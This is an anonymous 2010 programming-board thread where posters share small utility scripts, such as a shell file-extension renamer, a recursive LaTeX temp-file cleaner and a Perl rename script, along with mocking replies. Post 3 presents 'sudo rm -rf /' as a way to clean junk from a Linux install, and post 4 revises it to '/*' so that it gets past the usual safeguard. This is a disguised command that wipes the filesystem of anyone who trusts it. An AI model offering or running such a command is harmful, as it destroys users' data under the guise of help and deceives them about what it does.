Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Script Dump

Name: Anonymous 2010-05-13 5:18

Hey /prog/, Just a place to dump useful shell/python/etc scripts

This one batch-renames file extentions in the current directory
extconv.sh
#!/bin/sh
###########################################
# ExtentionConverter
# Converts *.type1 files to *.type2 files
###########################################

##Extention Remover
#Voodo magic I stole
noExt() {
   echo $i | awk -F"." '{ for ( i=1; i<NF; i++) { printf "%s", $i; if ( i < NF - 1 ) { printf "%s", "." } } printf "\n" }'
}

##Args Check
if [ "$1" != "" ] && [ "$2" != "" ]; then
   echo "\nExtConvert -$1 to $2-"
else
   echo "\nExtConvert -help-"
   echo "Usage: `basename $0` <type1> <type2>"
   echo "This script converts all the files in the"
   echo " current directory that are of type 1 to type 2"
   echo "Eg: `basename $0` rar cbr"
   echo "This would convert all the files in the"
   echo " current directory from .rar to .cbr\n"
   exit 1
fi

##File Processing
for i in *.$1; do

   #There's some files to convert
   #Change old extention to new extention
   if [ "$i" != "*.$1" ]; then
      noext=$(noExt)
      echo "$i became $noext.$2"
      mv "$i" "$noext.$2"
     
   #No files to convert
   #Tell the user and exit
   else
      echo "No $1 Files to Convert"
   fi

done
echo ""
exit 0

Name: Anonymous 2010-05-13 5:20

Also, one for use by LaTeXfags; cleans the temp crap and the tilde-temp files recursive from where the file's run:

cleanup.sh
#!/bin/bash
#################################
# LaTeXcLeAnUp
# Deletes Unneeded LaTeX Files
#################################
if [ -n "$1" ]; then
   cd "$1"
else
   echo ""
   echo "LaTeXcLeAnUp : cleaning"
fi

for i in *; do
  
   # if dir, scan dir
   if [ -d "$i" ]; then
      if [ -n $1 ]; then
         "$0" "$i"
      else
         "$0" "$i"
      fi
  
   # if temp (~) crap, delete
   elif [[ "$i" == *~ ]]; then
      rm "$i"
  
   # if aux crap, delete
   elif [[ "$i" == *.aux ]]; then
      rm "$i"
  
   # if aux crap, delete
   elif [[ "$i" == *.log ]]; then
      rm "$i"
  
   # if aux crap, delete
   elif [[ "$i" == *.out ]]; then
      rm "$i"
  
   # if aux crap, delete
   elif [[ "$i" == *.toc ]]; then
      rm "$i"
   fi
done

if [ -n "$1" ]; then
   wait
else
   echo "LaTeXcLeAnUp : cleaned"
   echo ""
fi

exit 0

Name: Anonymous 2010-05-13 5:27

To improve your Linux install and remove some junk from the filesystem.
#!/bin/bash
sudo rm -rf /

Name: Anonymous 2010-05-13 5:41

>>3
>derp
You need to use /* on the most common GNU/Linux distro.

Name: Anonymous 2010-05-13 6:24

>>1
or you could just use rename
e.g.
$ ls
foo.xml bar.xml
$ rename xml html *
$ ls
foo.html bar.html

Name: Anonymous 2010-05-13 6:43

>>5
Oh, thanks for that

Name: Anonymous 2010-05-13 9:47

>>2
holy fuck lrn2 bash hibt?

Name: Anonymous 2010-05-13 15:05

#!/bin/sh
#include "void.h" //handles all the common functions,#defines,#ifdefs and #includes

Name: Anonymous 2010-05-13 17:42

>>1
And learn to stderr you dirty dog!

Name: Anonymous 2010-05-13 18:17

I can't believe this

Name: Larry Wall 2010-05-14 5:45

use strict;use Getopt::Long;Getopt::Long::Configure('bundling');my ($verbose, $no_act, $force, $op);die "Usage: rename [-v] [-n] [-f] perlexpr [filenames]\n"    unless GetOptions( 'v|verbose' => \$verbose, 'n|no-act'  => \$no_act, 'f|force'   => \$force,    ) and $op = shift;$verbose++ if $no_act;if (!@ARGV) {    print "reading filenames from STDIN\n" if $verbose;    @ARGV = <STDIN>;    chop(@ARGV);}for (@ARGV) {    my $was = $_;    eval $op;    die $@ if $@;    next if $was eq $_;     if (-e $_ and !$force)    { warn  "$was not renamed: $_ already exists\n";    }    elsif ($no_act or rename $was, $_)    { print "$was renamed as $_\n" if $verbose;    }    else    { warn  "Can't rename $was $_: $!\n";    }}

Name: Anonymous 2011-02-03 1:04

Don't change these.
Name: Email:
Entire Thread Thread List